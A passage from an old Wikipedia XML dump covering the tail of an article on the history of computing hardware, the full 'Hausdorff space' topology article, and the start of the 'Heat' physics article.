The US-built [[ENIAC]] (Electronic Numerical Integrator and Computer), often called the first electronic general-purpose computer, publicly validated the use of electronics for large-scale computing.  This was crucial for the development of modern computing, initially because of the enormous speed advantage, but ultimately because of the potential for miniaturization.  Built under the direction of [[John Mauchly]] and [[J. Presper Eckert]], it was 1,000 times faster than its contemporaries. ENIAC's development and construction lasted from [[1941]] to full operation at the end of [[1945]]. When its design was proposed, many researchers believed that the thousands of delicate valves (i.e. vacuum tubes) would burn out often enough that the ENIAC would be so frequently down for repairs as to be useless. It was, however, capable of up to thousands of operations per second for hours at a time between valve failures. 

ENIAC was unambiguously a Turing-complete device.  To 'program' ENIAC, however, meant to rewire it--some say this does not even qualify as programming, otherwise any type of rebuilding some limited computer might be viewed as programming.  At the time, however, unaided calculation was seen as enough of a triumph to view the ''solution of a single problem'' as the object of a program.  (Improvements completed in 1948 made it possible to  execute stored programs set in function table memory, which made programming less a ''one-off'' effort, and more systematic.)

All machines at that date still lacked what came to be known as the [[von Neumann architecture]].

===Colossus===
[[Image:Colossus.jpg|thumbnail|right|Colossus was used to break German ciphers during [[World War II]].]]
During [[World War II]], the British at [[Bletchley Park]] achieved a number of successes at breaking encrypted German military communications. The German encryption machine, [[Enigma (machine)|Enigma]], was attacked with the help of electro-mechanical machines called ''[[bombe]]s''. The [[bombe]], designed by [[Alan Turing]] and [[Gordon Welchman]], after Polish ''[[Bomba (cryptography)|bomba]]'', ruled out possible Enigma settings by performing chains of logical deductions implemented electrically. Most possibilities led to a contradiction, and the few remaining could be tested by hand.

The Germans also developed a series of teleprinter encryption systems, quite different from Enigma. The [[Lorenz SZ 40/42]] machine was used for high-level Army communications, termed &quot;[[Tunny]]&quot; by the British. The first intercepts of Lorenz messages began in [[1941]].  As part of an attack on Tunny, Professor [[Max Newman]] and his colleagues helped specify the [[Colossus computer|Colossus]]. The Mk I Colossus was built in 11 months by [[Tommy Flowers]] and his colleagues at the [[Post Office Research Station]] at [[Dollis Hill]] in London and then shipped to [[Bletchley Park]]. 

[[Colossus computer|Colossus]] was the first totally ''electronic'' computing device. The Colossus used a large number of valves (vacuum tubes). It had paper-tape input and was capable of being configured to perform a variety of [[boolean logic]]al operations on its data, but it was not Turing-complete.   Nine Mk II Colossi were built (The Mk I was converted to a Mk II making ten machines in total).  Details of their existence, design, and use were kept secret well into the 1970s. Winston Churchill personally issued an order for their destruction into pieces no larger than a man's hand.  Due to this secrecy the Colossi were not included in many histories of computing. A reconstructed copy of one of the Colossus machines is now on display at Bletchley Park.

===Konrad Zuse's Z-series===

[[Image:Zuse Z1.jpg|thumb|250px|A reproduction of Zuse's Z1 computer.]]

Working in isolation in [[Nazi Germany]], [[Konrad Zuse]] started construction in [[1936]] of his first Z-series calculators featuring memory and (initially limited) programmability. Zuse's purely mechanical, but already binary [[Z1]], finished in [[1938]], never worked reliably due to problems with the precision of parts.

Zuse's subsequent machine, the [[Z3]], was finished in [[1941]]. It was based on telephone relays and did work satisfactorily. The Z3 thus became the first functional program-controlled computer.  In many ways it was quite similar to modern machines, pioneering numerous advances, such as [[Floating Point|floating point number]]s. Replacement of the hard-to-implement decimal system (used in [[Charles Babbage]]'s earlier design) by the simpler binary system meant that Zuse's machines were easier to build and potentially more reliable, given the technologies available at that time. This is sometimes viewed as the main reason why Zuse succeeded where Babbage failed.

Programs were fed into [[Z3]] on punched films. Conditional jumps were missing, but since the 1990s it has been proved theoretically that Z3 was still a [[Turing machine|universal computer]] (ignoring its physical storage size limitations). In two [[1937]] [[patent]]s, [[Konrad Zuse]] also anticipated that machine instructions could be stored in the same storage used for data - the key insight of what became known as the [[Von Neumann architecture]] and was first implemented in the later British EDSAC design ([[1949]]). Zuse also claimed to have designed the first higher-level [[programming language]], ([[Plankalkül]]), in [[1945]], although it was never formally published until [[1971]], and was implemented for the first time in [[2000]] by the [[Free University of Berlin]] -- five years after Zuse died.

Zuse suffered setbacks during [[World War II]] when some of his machines were destroyed in the course of [[Allies|Allied]] bombing campaigns. Apparently his work remained largely unknown to engineers in the UK and US until much later, although at least IBM was aware of it as it financed his post-war startup company in [[1946]] in return for an option on Zuse's patents.

==First generation von Neumann machines==

The first working [[Von Neumann architecture|von Neumann machine]] was the Manchester &quot;Baby&quot; or [[Small-Scale Experimental Machine]], built at the [[University of Manchester]] in 1948; it was followed in [[1949]] by the [[Manchester Mark I]] computer which functioned as a complete system using the [[Williams tube]] for memory, and also introduced [[index register]]s.  The other contender for the title &quot;first  digital stored program computer&quot; was [[EDSAC]], designed and constructed at the [[University of Cambridge]]. Operational less than one year after the Manchester &quot;Baby&quot;, it was capable of tackling real problems. EDSAC was actually inspired by plans for EDVAC (Electronic Discrete Variable Automatic Computer), the successor of ENIAC; these plans were already in place by the time the ENIAC was successfully operational. Unlike the ENIAC, which used parallel processing,  EDVAC used a single processing unit. This design was simpler and was the first to be implemented in each succeeding wave of miniaturization, and increased reliability.
Some view  Manchester Mark I / EDSAC / EDVAC as the &quot;Eves&quot; from which nearly all current computers derive their architecture.

The first universal programmable computer in continental Europe was created by a team of scientists under direction of [[Sergei Alekseyevich Lebedev]] from [[Kiev Institute of Electrotechnology]], [[Soviet Union]] (now [[Ukraine]]). The computer [[History of computer hardware in communist countries#MESM|MESM]] (''МЭСМ'', ''Small Electronic Calculating Machine'') became operational in [[1950]]. It had about 6,000 vacuum tubes and consumed 25 kW of power. It could perform approximately 3,000 operations per second.  Another early machine was [[CSIRAC]], an Australian design that ran its first test program in 1949.

In October 1947, the directors of J. Lyons &amp; Company, a British catering company famous for its teashops but with strong interests in new office management techniques, decided to take an active role in promoting the commercial development of computers. By 1951 the LEO I computer was operational and ran the world's first regular routine office computer job.  

Manchester University's machine became the prototype for the [[Ferranti Mark I]]. The first Ferranti Mark I machine was delivered to the University in February, [[1951]] and at least nine others were sold between 1951 and 1957.

[[Image:UNIVAC-I.JPG|right|thumb|200px|[[UNIVAC I]], above, the first commercial electronic computer, achieved 1900 operations per second in a smaller and more efficient package than [[ENIAC]].]]

In June [[1951]], the [[UNIVAC I]] (Universal Automatic Computer) was delivered to the [[United States Census Bureau|U.S. Census Bureau]]. Although manufactured by [[Remington Rand]], the machine often was mistakenly referred to as the &quot;IBM UNIVAC&quot;. Remington Rand eventually sold 46 machines at more than $1 million each. UNIVAC was the first 'mass produced' computer; all predecessors had been 'one-off' units. It used 5,200 vacuum tubes and consumed 125 kW of power. It used a mercury delay line capable of storing 1,000 words of 11 decimal digits plus sign (72-bit words) for memory. Unlike earlier machines it did not use a [[punch card]] system but a metal tape input.

In November [[1951]], the [[J. Lyons &amp; Co. Ltd.|J. Lyons]] company began weekly operation of a bakery valuations job on the [[LEO I|LEO]] (Lyons Electronic Office). This was the first business application to go live on a stored program computer.

In [[1952]], IBM publicly announced the [[IBM 701]] Electronic Data Processing Machine, the first in its successful [[IBM 700/7000 series|700/7000 series]] and its first [[IBM mainframe]] computer. The [[IBM 704]], introduced in 1954, used [[magnetic core memory]], which became the standard for large machines. The first implemented high-level general purpose [[programming language]], [[Fortran]], was also being developed at IBM for the 704 during 1955 and 1956 and released in early 1957. (Konrad Zuse's 1945 design of the high-level language [[Plankalkül]] was not implemented at that time.) 

IBM introduced a smaller, more affordable computer in [[1954]] that proved very popular. The [[IBM 650]] weighed over 900 kg, the attached power supply weighed around 1350 kg and both were held in separate cabinets of roughly 1.5 meters by 0.9 meters by 1.8 meters. It cost $500,000 or could be leased for $3,500 a month. Its [[drum memory]] was originally only 2000 ten-digit words, and required arcane programming for efficient computing. Memory limitations such as this were was to dominate programming for decades afterward, until the evolution of a programming model which was more sympathetic to software development.

[[Image:Maurice V Wilkes.jpg|right|framed|[[Maurice Wilkes]] realised that basic and frequently used operations could be programmed directly into hardware.]]

In [[1955]], [[Maurice Wilkes]] invented [[Microprogram|microprogramming]], which was later widely used in the [[Central processing unit|CPUs]] and [[floating-point]] units of [[mainframe computer|mainframe]] and other computers, such as the [[IBM 360]] series.  ''Microprogramming'' allows the base instruction set to be defined or extended by built-in programs (now sometimes called ''[[firmware]]'', ''[[microcode]]'', or ''[[millicode]]'').

In [[1956]], IBM sold its [[Early IBM disk storage|first magnetic disk system]], [[RAMAC]] (Random Access Method of Accounting and Control). It used 50 24-inch metal disks, with 100 tracks per side. It could store 5 [[megabyte]]s of data and cost $10,000 per megabyte. (As of 2005, disk storage costs less than $1 per gigabyte).

== 1950s and early 1960s: second generation==

[[Image:Transistor-photo.JPG|thumb|left|[[Transistor]]s, above, revolutionized computers as smaller and more efficient replacements for [[vacuum tube]]s.]]

The next major step in the history of computing was the invention of the [[transistor]] in [[1947]].  This replaced the fragile and power hungry valves with a much smaller and more reliable component. Transistorized computers are normally referred to as 'Second Generation' and dominated the late [[1950s]] and early [[1960s]].  By using transistors and [[printed circuit board|printed circuits]] a significant decrease in size and power consumption was achieved, along with an increase in reliability.  For example, the transistorized [[IBM 1620]], which replaced the bulky IBM 650, was the size of an office desk. Second generation computers were still expensive and were primarily used by universities, governments, and large corporations.

In [[1959]] IBM shipped the transistor-based [[IBM 7090]] mainframe and medium scale [[IBM 1401]]. The latter was designed around [[punch card]] input and proved a popular general purpose computer. Some 12,000 were shipped, making it the most successful machine in computer history at the time. It used a magnetic core memory of 4000 characters (later expanded to 16,000 characters).  Many aspects of its design were based on the desire to replace [[Unit record equipment|punched card machines]] which were in wide use from the [[1920s]] through the early [[1970s]].  

In [[1960]] IBM shipped the smaller, transistor-based [[IBM 1620]], originally with only punched [[paper tape]], but soon upgraded to punch cards. It proved a popular scientific computer and about 2,000 were shipped.  It used a magnetic core memory of up to 60,000 decimal digits.  
 
[[Image:Vs-dec-pdp-1.jpg|thumb|PDP-1|200px|right|The [[PDP-1]] was built mostly of DEC 1000-series system modules, using Micro-Alloy and Micro-Alloy-Diffused Transistors.]]

Also in 1960, [[Digital Equipment Corporation|DEC]] launched the [[PDP-1]] their first machine intended for use by technical staff in laboratories and for research.

In 1961, [[Burroughs]] released the [[B5000]] the first dual processor and virtual memory computer.  Other unique features were a stack architecture, descriptor-based addressing, and no programming directly in assembly language.

In 1962, Sperry Rand shipped the [[UNIVAC 1107]], one of the first machines with a general register set and the base of the successful [[UNIVAC 1100]] series.

In [[1964]] IBM announced the [[S/360]] series, which was the first family of computers that could run the same software at different combinations of speed, capacity and price.  It also pioneered the commercial use of [[microprogram]]s, and an extended instruction set designed for processing many types of data, not just arithmetic.  In addition, it unified IBM's product line, which prior to that time had included both a &quot;commercial&quot; product line and a separate &quot;scientific&quot; line.  The software provided with System/360 also included major advances, including commercially available multi-programming, new programming languages, and independence of programs from input/output devices.  Over 14,000 [[System/360]] systems were shipped by [[1968]].

Also in 1964, DEC launched the [[PDP-8]] much smaller machine intended for use by technical staff in laboratories and for research.

== Post-1960: third generation and beyond==
:''Main article:'' [[History of computing hardware (1960s-present)]]

[[Image:SEM integrated circuit (400x).jpg|right|thumb|150px|The microscopic [[integrated circuit]], above, combined many hundreds of [[transistors]] into one unit for fabrication.]]

The explosion in the use of computers began with 'Third Generation' computers. These relied on [[Jack Kilby|Jack St. Clair Kilby]]'s and [[Robert Noyce]]'s independent invention of the [[integrated circuit]] (or microchip), which later led to [[Marcian Hoff|Ted Hoff]]'s invention of the [[microprocessor]], at [[Intel]].

During the 1960s there was considerable overlap between second and third generation technologies.  As late as 1975, Sperry Univac continued the manufacture of second-generation machines such as the UNIVAC 494.

The microprocessor led to the development of the [[microcomputer]], small, low-cost computers that could be owned by individuals and small businesses.  Microcomputers, the first of which appeared in the 1970s, became ubiquitous in the 1980s and beyond.  Computing has evolved with microcomputer architectures, with features added from their larger brethren, now dominant in most market segments.

==Notes==
* An original calculator by [[Blaise Pascal|Pascal]] ([[1640]]) is preserved in the [[Zwinger|Zwinger Museum]], [[Dresden]].
* An indication of the rapidity of development of this field can be inferred by the seminal article, documented in the ''Datamation'' September-October 1962 issue, which was written, as a preliminary version 15 years earlier. (See the references below.) By the time that anyone had time to write anything down, it was obsolete.

== References ==
* [[Gottfried Leibniz]], ''Explication de l'Arithmétique Binaire'' ([[1703]]) 
* A Spanish implementation of [[Napier's bones]] ([[1617]]), is documented in ''Hispano-American Encyclopedic Dictionary'', Montaner i Simon ([[1887]])
* [[Herman Hollerith]], ''In connection with the electric tabulation system which has been adopted by U.S. government for the work of the census bureau''. Ph.D. dissertation, [[Columbia University]] School of Mines ([[1890]])
* [[W.J. Eckert]], ''Punched Card Methods in Scientific Computation'' ([[1940]]) [[Columbia University]]. 136 pp. Index.
* [[Stanislaw Ulam]], &quot;[[John von Neumann]], 1903-1957,&quot; ''Bulletin of the American Mathematical Society'', vol. '''64''', ([[1958]])
* Arthur W. Burks, [[Herman Goldstine|Herman H. Goldstine]], and [[John von Neumann]], &quot;Preliminary discussion of the Logical Design of an Electronic Computing Instrument,&quot; ''Datamation'', September-October [[1962]].
* [[Gordon Bell]] and [[Allen Newell]], ''Computer Structures: Readings and Examples'' ([[1971]]).

==Books for further reading==

See [[List of books on the history of computing]]

== See also ==
* [[Charles Babbage Institute]]
** '''History of computing hardware'''
*** [[History of operating systems]]
** [[History of the internet]]
*** [[History of the graphical user interface]]
* [[Computer architecture]] &amp;ndash; how computers are designed
** [[Computers in fiction]]
* [[Computing timeline]]
** [[Mainframe computer]]
*** [[Minicomputer]]
**** [[Personal computer|Microcomputer]]
***** [[Nanotechnology]] 
* [[CPU design]] &amp;ndash; includes an evolutionary history of CPU architecture and design 
** [[History of computer hardware in communist countries]]
* [[Programming language timeline]]

Links to first-generation electronic computers (use [[Vacuum tube]]s):

*[[Atanasoff Berry Computer]]
*[[BARK]]
*[[Bendix G-15]]
*[[BESK]]
*[[BINAC]]
*[[CSIRAC]]
*[[DEUCE]]
*[[EDSAC]]
*[[EDVAC]]
*[[ENIAC]]
*[[Ferranti Mark I]]
*[[Ferranti Mercury]]
*[[IAS machine]]
*[[IBM 650]]
*[[IBM 701]]
*[[IBM 704]]
*[[IBM 709]]
*[[ILLIAC]]
*[[LEO computer]]
*[[MANIAC I]]
*[[Manchester Mark I]]
*[[NORC]]
*[[ORDVAC]]
*[[PEGASUS (computer)]]
*[[Pilot ACE]]
*[[Semi Automatic Ground Environment|SAGE]]
*[[SARA (computer)]]
*[[SEAC (computer)|SAAC]] 
*[[Small-Scale Experimental Machine]]
*[[SWAC (computer)|SWAC]] 
*[[Strela computer]]
*[[UNIVAC I]]
*[[UNIVAC 1101]]
*[[UNIVAC 1102]]
*[[UNIVAC 1103]]
*[[UNIVAC 1103A]]
*[[UNIVAC 1105]]
*[[Whirlwind (computer)]]

== External links ==
*[http://www.old-computers.com/ OLD-COMPUTERS.COM], extensive collection of information and pictures about old computers
*[http://dir.yahoo.com/Computers_and_Internet/History/ Yahoo Computers and History] 
*[http://www.sri.com/about/timeline/allmagnetic-logic.html &quot;All-Magnetic Logic&quot;] computer developed at SRI International, in 1961
*[http://www.algana.co.uk/FamousNames/FamousNamesFrameset.htm ''Famous Names in the History of Computing.''] Free source for history of computing biographies.
*[http://ox.compsoc.net/~swhite/history.html Stephen White's excellent computer history site] (the above article is a modified version of his work, used with [[History of computing/Permission|Permission]])
*[http://www.computerhistory.org/ Computer History Museum]
*[http://www.piercefuller.com/collect/ Paul Pierce's computer collection]
*[http://computer.org/history/development/index.html IEEE computer history timeline]
*[http://www.idsia.ch/~juergen/zuse.html Konrad Zuse, inventor of first working programmable digital computer]
*[http://www.computer50.org/ ''The story of the Manchester Mark I''], 50th Anniversary website at the [[University of Manchester]]
*[http://www.virtualtravelog.net/entries/000047.html ''The Moore School Lectures and the British Lead in Stored Program Computer Development (1946&amp;ndash;1953)''], article from Virtual Travelog
*[http://www.idsia.ch/~juergen/computerhistory.html Logarithmic timeline of greatest breakthroughs since start of computing era in 1623]
*[http://www.rowayton.org/rhs/Computers/welcome.html Rowayton Historical Society's Birthplace of the World's First Business Computer]
*[http://ocw.mit.edu/OcwWeb/Science--Technology--and-Society/STS-035Spring2004/CourseHome/index.htm MIT STS.035 &amp;ndash; History of Computing] from [[MIT]] OpenCourseWare for [[undergraduate]] level
*[http://ed-thelen.org/comp-hist/EarlyBritish.html Early British Computers]
*[http://www.scriptol.org/history.php Evolution of programming languages] New features with each new language. Popular languages.
*[http://www.tomandmaria.com/Tom/Resources/ResourceFile.htm Key Resources in the History of Computing]
*[http://www.cbi.umn.edu Charles Babbage Institute]
*[http://www.computer.org/annals IEEE Annals of the History of Computing]
 
[[Category:Early computers|*History of computing hardware]]
[[Category:History of computing|Computing hardware]]
[[Category:One-of-a-kind computers|*History of computing hardware]]

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  </page>
  <page>
    <title>Hausdorff space</title>
    <id>13637</id>
    <revision>
      <id>40537385</id>
      <timestamp>2006-02-21T07:18:22Z</timestamp>
      <contributor>
        <ip>138.26.76.22</ip>
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      <comment>/* Definitions */</comment>
      <text xml:space="preserve">In [[topology]] and related branches of [[mathematics]], a '''Hausdorff space''', '''separated space''' or '''T&lt;sub&gt;2&lt;/sub&gt; space''' is a [[topological space]] in which points can be ''separated by neighbourhoods''. Of the many [[separation axiom]]s that can be imposed on a topological space, the Hausdorff condition is the most frequently used and discussed .

Hausdorff spaces are named for [[Felix Hausdorff]], one of the founders of topology. In fact, Hausdorff's original definition of a topological space included the Hausdorff condition as an axiom.

==Definitions==

Suppose that ''X'' is a [[topological space]]. Let ''x'' and ''y'' be [[point (topology)|points]] in ''X''. We say that ''x'' and ''y'' can be ''[[separated by neighbourhoods]]'' if [[existential quantification|there exists]] a [[neighbourhood (topology)|neighbourhood]] ''U'' of ''x'' and a neighbourhood ''V'' of ''y'' such that  ''U'' and ''V'' are [[disjoint]] (''U'' &amp;cap; ''V'' = {{unicode|&amp;empty;}}).
&lt;div style=&quot;text-align: center;&quot;&gt;[[Image:Hausdorff space.png|200px|The points x and y, here represented by dots on opposite sides of the picture, are separated by their respective neighbourhoods U and V, here represented by disjoint open disks with the original dots at their centres.]]&lt;/div&gt;

''X'' is a '''Hausdorff space''' if any two [[distinct]] points of ''X'' can be separated by neighborhoods. This is why Hausdorff spaces are also called ''T&lt;sub&gt;2&lt;/sub&gt; spaces'' or ''separated spaces''.

''X'' is a '''preregular space''' if any two [[topologically distinguishable]] points can be separated by neighbourhoods. Preregular spaces are also called ''R&lt;sub&gt;1&lt;/sub&gt; spaces''.

The relationship between these two conditions is as follows. A topological space is Hausdorff [[if and only if]] it is both preregular and [[Kolmogorov space|Kolmogorov]] (i.e. distinct points are topologically distinguishable). A topological space is preregular if and only if its [[Kolmogorov quotient]] is Hausdorff.

==Examples and counterexamples==

Almost all spaces encountered in [[mathematical analysis|analysis]] are Hausdorff; most importantly, the [[real number]]s are a Hausdorff space. More generally, all [[metric space]]s are Hausdorff. In fact, many spaces of use in analysis, such as [[topological group]]s and [[topological manifold]]s, have the Hausdorff condition explicitly stated in their definitions.

A simple example of a topology that is [[T1 space|T&lt;sub&gt;1&lt;/sub&gt;]] but is not Hausdorff is the [[cofinite topology]].

[[Pseudometric space]]s typically are not Hausdorff, but they are preregular, and their use in analysis is usually only in the construction of Hausdorff [[gauge space]]s. Indeed, when analysts run across a non-Hausdorff space, it is still probably at least preregular, and then they simply replace it with its Kolmogorov quotient, which is Hausdorff.

In contrast, non-preregular spaces are encountered much more frequently in [[abstract algebra]] and [[algebraic geometry]], in particular as the [[Zariski topology]] on an [[algebraic variety]] or the [[spectrum of a ring]]. They also arise in the [[model theory]] of [[intuitionistic logic]]: every [[complete lattice|complete]] [[Heyting algebra]] is the algebra of [[open set]]s of some topological space, but this space need not be preregular, much less Hausdorff.

==Properties==

One of the nicest properties of Hausdorff spaces is that [[Limit (topology)|limit]]s of [[sequence]]s, [[net (topology)|net]]s, and [[filter (topology)|filter]]s are unique whenever they exist. In fact, a topological space is Hausdorff if and only if every net (or filter) has at most one limit. Similarly, a space is preregular if all of the limits of a given net (or filter) are topologically indistinguishable.

A useful alternative characterization of Hausdorff spaces is the following. A topological space ''X'' is Hausdorff [[iff]] the diagonal &amp;Delta; = {(''x'',''x'') | ''x''  &amp;isin; ''X''} is [[closed set|closed]] as a subset of the [[product space]] ''X'' &amp;times; ''X''.

[[Subspace (topology)|Subspace]]s and [[product topology|products]] of Hausdorff spaces are Hausdorff, but [[quotient space]]s of Hausdorff spaces need not be Hausdorff. In fact, ''every'' topological space can be realized as the quotient of some Hausdorff space.

Hausdorff spaces are [[T1 space|T&lt;sub&gt;1&lt;/sub&gt;]], meaning that all [[singleton (mathematics)|singleton]]s are closed. Similarly, preregular spaces are [[R0 space|R&lt;sub&gt;0&lt;/sub&gt;]].

Another nice property of Hausdorff spaces is that [[compact set]]s are always closed. This may fail for spaces which are non-Hausdorff (there are examples of T&lt;sub&gt;1&lt;/sub&gt; spaces where it fails).

The definition of a Hausdorff space says that points can be separated by neighborhoods. It turns out that this implies something which is seemingly stronger: in a Hausdorff space every pair of disjoint compact sets can be separated by neighborhoods. This is an example of the general rule that compact sets often behave like points.

Compactness conditions together with preregularity often imply stronger separation axioms. For example, any [[locally compact space|locally compact]] preregular space is [[completely regular space|completely regular]]. [[Compact space|Compact]] preregular spaces are [[normal space|normal]], meaning that they satisfy [[Urysohn's lemma]] and the [[Tietze extension theorem]] and have [[partition of unity|partitions of unity]] subordinate to locally finite [[open cover]]s.  The Hausdorff versions of these statements are: every locally compact Hausdorff space is [[Tychonoff space|Tychonoff]], and every compact Hausdorff space is normal Hausdorff.

The following results are some technical properties regarding maps ([[continuous (topology)|continuous]] and otherwise) to and from Hausdorff spaces.

Let ''f'' : ''X'' &amp;rarr; ''Y'' be a function and let &lt;math&gt;\mbox{ker}(f) = \{(x,x') \mid f(x) = f(x')\}&lt;/math&gt; be its [[kernel of a function|kernel]] regarded as a subspace of ''X'' &amp;times; ''X''.
*If ''f'' is continuous and ''Y'' is Hausdorff then ker(''f'') is closed.
*If ''f'' is an [[open map|open]] [[surjection]] and ker(''f'') is closed then ''Y'' is Hausdorff.
*If ''f'' is a continuous, open surjection (i.e. an open quotient map) then ''Y'' is Hausdorff [[iff]] ker(f) is closed.

If ''f,g'' : ''X'' &amp;rarr; ''Y'' are continuous maps and ''Y'' is Hausdorff then the [[equalizer]] &lt;math&gt;\mbox{eq}(f,g) = \{x \mid f(x) = g(x)\}&lt;/math&gt; is closed in ''X''. It follows that if ''Y'' is Hausdorff and ''f'' and ''g'' agree on a [[dense (topology)|dense]] subset of ''X'' then ''f'' = ''g''. In other words, continuous functions into Hausdorff spaces are determined by their values on dense subsets.

Let ''f'' : ''X'' &amp;rarr; ''Y'' be a [[closed map|closed]] surjection such that ''f''&lt;sup&gt;&amp;minus;1&lt;/sup&gt;(''y'') is [[compact space|compact]] for all ''y'' &amp;isin; ''Y''. Then if ''X'' is Hausdorff so is ''Y''.

Let ''f'' : ''X'' &amp;rarr; ''Y'' be a [[quotient map]] with ''X'' a compact Hausdorff space. Then the following are equivalent
*''Y'' is Hausdorff
*''f'' is a [[closed map]]
*ker(''f'') is closed

==Preregularity versus regularity==

All [[regular space]]s are preregular, as are all Hausdorff spaces. There are many results for topological spaces that hold for both regular  and Hausdorff spaces.
Most of the time, these results hold for all preregular spaces; they were listed for regular and Hausdorff spaces separately because the idea of preregular spaces came later.
On the other hand, those results that are truly about regularity generally don't also apply to nonregular Hausdorff spaces.

There are many situations where another condition of topological spaces (such as [[paracompactness]] or [[local compactness]]) will imply regularity if preregularity is satisfied.
Such conditions often come in two versions: a regular version and a Hausdorff version.
Although Hausdorff spaces aren't generally regular, a Hausdorff space that is also (say) locally compact will be regular, because any Hausdorff space is preregular.
Thus from a certain point of view, it is really preregularity, rather than regularity, that matters in these situations.
However, definitions are usually still phrased in terms of regularity, since this condition is more well known than preregularity.

See [[History of the separation axioms]] for more on this issue.

==Variants==

The terms &quot;Hausdorff&quot;, &quot;separated&quot;, and &quot;preregular&quot; can also be applied to such variants on topological spaces as [[uniform space]]s, [[Complete space|Cauchy space]]s, and [[convergence space]]s.
The characteristic that unites the concept in all of these examples is that limits of nets and filters (when they exist) are unique (for separated spaces) or unique up to topological indistinguishability (for preregular spaces).

As it turns out, uniform spaces, and more generally Cauchy spaces, are always preregular, so the Hausdorff condition in these cases reduces to the T&lt;sub&gt;0&lt;/sub&gt; condition.
These are also the spaces in which [[completeness (topology)|completeness]] makes sense, and Hausdorffness is a natural companion to completeness in these cases.
Specifically, a space is complete iff every Cauchy net has at ''least'' one limit, while a space is Hausdorff iff every Cauchy net has at ''most'' one limit (since only Cauchy nets can have limits in the first place).

==Joke==

There is a mathematicians' joke that serves as a reminder of the meaning of this term:
In a Hausdorff space, points can be &quot;housed off&quot; from one another. [[Atiyah]] used to draw house-shaped sets on the blackboard. (In an old-fashioned British accent, ''off'' could be ''orf'', phonetically, which all helps.)

[[Category:Topology]]
[[Category:Separation axioms]]

[[de:Hausdorff-Raum]]
[[he:מרחב האוסדורף]]
[[ko:하우스도르프 공간]]
[[it:Spazio di Hausdorff]]
[[nl:Hausdorff]]
[[ja:ハウスドルフ空間]]
[[pl:Przestrzeń Hausdorffa]]
[[ru:Хаусдорфово пространство]]
[[zh:豪斯多夫空间]]</text>
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  <page>
    <title>Heat</title>
    <id>13638</id>
    <revision>
      <id>42061599</id>
      <timestamp>2006-03-03T15:17:51Z</timestamp>
      <contributor>
        <username>UkPaolo</username>
        <id>269651</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/216.20.14.130|216.20.14.130]] ([[User talk:216.20.14.130|talk]]) to last version by Isopropyl</comment>
      <text xml:space="preserve">{{dablink|For other senses of this word, see [[heat (disambiguation)]].}}
In [[physics]], '''heat''' is defined as ''energy in transit''.{{ref|one}}  Generally, heat is a form of [[energy]] associated with the motion of [[atom]]s, [[molecule]]s and other particles which comprise [[matter]].  Heat can be created by [[chemical reaction]]s (such as [[combustion|burning]]), [[nuclear reaction]]s (such as [[Nuclear fusion|fusion]] taking place inside the [[Sun]]), [[electromagnetic]] [[dissipation]] (as in [[electric stove]]s), or [[mechanics|mechanical]] dissipation (such as [[friction]]).  Heat can be transferred between objects by [[thermal radiation|radiation]], [[conduction]] and [[convection]].  [[Temperature]], defined as the measure of an object to spontaneously give up energy, is used to indicate the level of elementary motion associated with heat.  Heat can only be transferred between objects, or areas within an object, with different temperatures.
[[Image:SOHO solar flare sun large 20031026 0119 eit 304.png|thumb|right|250px|Solar-thermal '''&quot;heat&quot;''' emissions recorded via the [[Solar and Heliospheric Observatory|SOHO]]/EIT [[telescope]].]]

== History ==
As early as 460 BC [[Hippocrates]], the father of medicine, postulated that ''“heat, a quantity which functions to animate, derives from an internal fire located in the left ventricle.”'' The hypothesis that heat is a form of motion was proposed initially in the 12th century.  Around 1600, the English philosopher and scientist [[Francis Bacon]] surmised that ''“heat itself, its essence and quiddity is motion and nothing else.” '' Similarly, in the mid 17th century, English scientist [[Robert Hooke]] states: ''“…heat being nothing else but a brisk and vehement agitation of the parts of a body…”''

The modern history of heat, however, begins in 1797 when cannon manufacturer [[Benjamin Thompson]] methodically first set out to quantify the well-known phenomenon of frictional heat, i.e. to find out how much heat is produced by metal rubbing against metal.  To do this, he designed a specially shaped cannon barrel, thoroughly insulate against heat loss, then replaced the sharp boring tool with a dull drill bit, and immersed the front part of the gun in a tank full of water.  Using this setup, to the amazement of his onlookers, he made cold water boil in two-and-half-hours time, without the use of fire!{{ref|baeyer}} 

Rumford summarizes this phenomena as follows: ''“It is hardly necessary to add, that anything which any insulated body … can continue to furnish without limitation, cannot possibly be a material substance; and it appears to me to be extremely difficult, if not quite impossible, to form any distinct idea of anything capable of being excited and communicated in the manner the Heat was excited and communicated in these experiments, except it be Motion.”'' As far as what of this &quot;heat&quot; is moving, where it is moving, and how it is moving, Rumford was at a relative standstill.  As he states: ''“I am very far from pretending to know how … that particular kind of motion in bodies which has been supposed to constitute heat is excited, continued, and propagated...”''  

It would not be until 20th century, with confirmation of the theory that all matter is composed of atoms, that these questions could be answered. Other important historical postulates of heat include the [[phlogiston]] (1733), [[fire air]] (1775), and the [[caloric]] (1787).

== Overview ==
By common knowledge, the term ''heat'' has been used in connection with the [[warm]]th, or [[hot]]ness, of surrounding objects.  The concept that warm objects &quot;contain heat&quot; is not uncommon.  During its 350 year development, the science of [[thermodynamics]] had established a physical quantity named ''temperature'' to quantify the level of &quot;warmth&quot;, whereas ''heat'' (also improperly called ''heat change'') was defined as a [[transient]] form of [[energy]] that quantifies the [[spontaneous]] [[transfer]] of [[thermal energy]] due to a temperature difference (or [[gradient]].) The [[International System of Units|SI]] unit for heat is the [[joule]];  an alternative unit still in use in the U.S. and other countries is the [[British thermal unit]].
[[Image:Hot metalwork.jpg|thumb|left|250px|'''&quot;Heat&quot;''' emanating from a red-hot iron rod.]]
The amount of heat exchanged by an object when its temperature varies by one [[degree (temperature)|degree]] is called '''[[heat capacity]]'''.  Heat capacity is specific to each and every object.  When referred to a [[quantity]] unit (such as [[mass]] or [[moles]]), the heat exchanged per degree is termed '''[[specific heat]]''', and depends primarily on the [[composition]] and [[physical state]] ([[phase]]) of objects.  [[Fuel]]s generate predictable amounts of heat when burned; this heat is known as '''[[heating value]]''' and is expressed per unit of quantity.  Upon transitioning from one phase to another, pure substances can exchange heat without their temperature suffering any change.  The amount of heat exchanged during a phase change is known as '''[[latent heat]]''' and depends primarily on the substance and the initial and final phase.  

